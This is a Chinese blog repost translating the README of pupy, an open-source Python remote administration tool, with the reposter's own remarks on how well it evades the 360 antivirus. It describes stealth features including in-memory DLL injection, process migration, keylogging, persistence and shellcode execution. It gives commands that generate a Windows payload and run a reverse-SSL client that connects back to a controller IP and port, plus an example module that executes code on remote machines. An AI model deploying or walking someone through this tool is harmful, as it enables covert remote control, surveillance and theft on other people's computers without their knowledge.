pupy 远控 Remote Administration Tool

来源:互联网 发布:大富豪棋牌源码 教程 编辑:程序博客网 时间:2024/05/18 20:37

pupy github

  1. 用了下发现运行exe时360还是会提示有风险,但不会认定为病毒自动删除,所以这“免杀”效果算是半斤八两,实际环境中用的时候就祈祷360能放行吧
  2. client目录下那一大堆c文件确实是不需要的,对于客户端的确只需reverse_ssl.py和rpyc模块
  3. 接下来翻译一下使用说明,但说明里没提到的一点事是这个控制端只能linux端用,即pupysh.py只能在linux里运行有效,我在mac下收不到连接,还以为是端口被限制。

Pupy

Pupy 是以python写的开源的RAT,pupy用了反射的DLL注入,不会在硬盘留下痕迹。

Features :

  • 在Windows上,Pupy的负载编译成DLL,整个python交互是从内存加载,不会碰到 :)
  • Pupy能合并到其他进程里
  • Pupy可以远程import,从纯python包 (.py, .pyc)和 c编译的(.pyd导入) 。 导入的模块也不需要碰到硬盘 (.pyd 导入只支持win,所以还没有完成).
  • 模块好写,pupy易拓展.
  • Pupy 用到rpyc (https://github.com/tomerfiliba/rpyc) 能在远程客户机直接接入python对象。
    • 我们甚至可以从pupy shell直接接收对象,完成属性的自动修改
  • 端口现在是建立在反向的ssl通道上,以后会增加个绑定端口的方式
  • 所有的非交互命令都可以一条命令调度运行在多主机上
  • 多平台支持(在 windows 7, windows xp, kali linux, ubuntu测试过)
  • 模块可以以后台方式运行
    -在远程主机上运行的命令和脚本是可中断的
  • 自动完成和漂亮的彩色输出 :-)
  • 在配置文件里可以定义命令的alias

Implemented Modules :

  • migrate (windows only)
    • inter process architecture injection also works (x86->x64 and x64->x86)
  • keylogger (windows only)
  • persistence (windows only)
  • screenshot (windows only)
  • command execution
  • download
  • upload
  • socks5 proxy
  • interactive shell (cmd.exe, /bin/sh, …)
  • interactive python shell
  • shellcode exec (thanks to @byt3bl33d3r)

Quick start

以下例子中,服务端 ( kali linux) 的 IP是 192.168.0.1
测试的客户端有 (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

生成/运行一个payload

对于 Windows

./genpayload.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

你可以用选项 -t dll_x86 或 dll_x64 产生一个反射的DLL,任凭你的喜欢去加载他

对于 Linux

pip install rpyc #(or manually copy it if you are not admin)python reverse_ssl.py 192.168.0.1:443

对于 MAC OS X

easy_install rpyc #(or manually copy it if you are not admin)python reverse_ssl.py 192.168.0.1:443

开启服务端

1.编辑 pupy.conf 改掉绑定的ip / port
2. 开启pupy 服务端 :

./pupysh.py

一些截图

列出连过来的机器

screenshot1

帮助

screenshot3

在所有的clients中执行python代码

screenshot2

在所有 clients执行命令, 捕获意外以防命令不存在

screenshot4

用过滤器挑选clients执行模块

screenshot5

合并进另一个进程

screenshot6

交互的shell

screenshot7

交互的python shell

screenshot8

example: 如何写一个MsgBox模块

first of all write the function/class you want to import on the remote client
in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py

import ctypesimport threadingdef MessageBox(text, title):    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))    t.daemon=True    t.start()

then, simply create a module to load our package and call the function remotely

class MsgBoxPopup(PupyModule):    """ Pop up a custom message box """    def init_argparse(self):        self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)        self.arg_parser.add_argument('--title', help='msgbox title')        self.arg_parser.add_argument('text', help='text to print in the msgbox :)')    @windows_only    def is_compatible(self):        pass    def run(self, args):        self.client.load_package("pupwinutils.msgbox")        self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)        self.log("message box popped !")

依赖

rpyc (https://github.com/tomerfiliba/rpyc)

路线图和想法

一些想法,没有优先顺序
- 支持https代理
- 用绑定而不是反向连接
- 离线选项添加到负载,如启用/禁用证书,检查嵌入离线模块 (持久化, 键盘记录, …), 等等…
- 集成scapy于win的dll :D (那样就会很有意思了)
- 隐匿性和模块,在unix系统
- 摄像头拍照
- 麦克风记录
- - socks5 udp 代理支持
- local/remote 端口转发
- 可能会写点文档
- …
- 有什么酷的想法?

联系

mail: contact@n1nj4.eu

If some of you want to participate or send me a feedback, don’t 犹豫 :-)
Follow me on twitter

0 0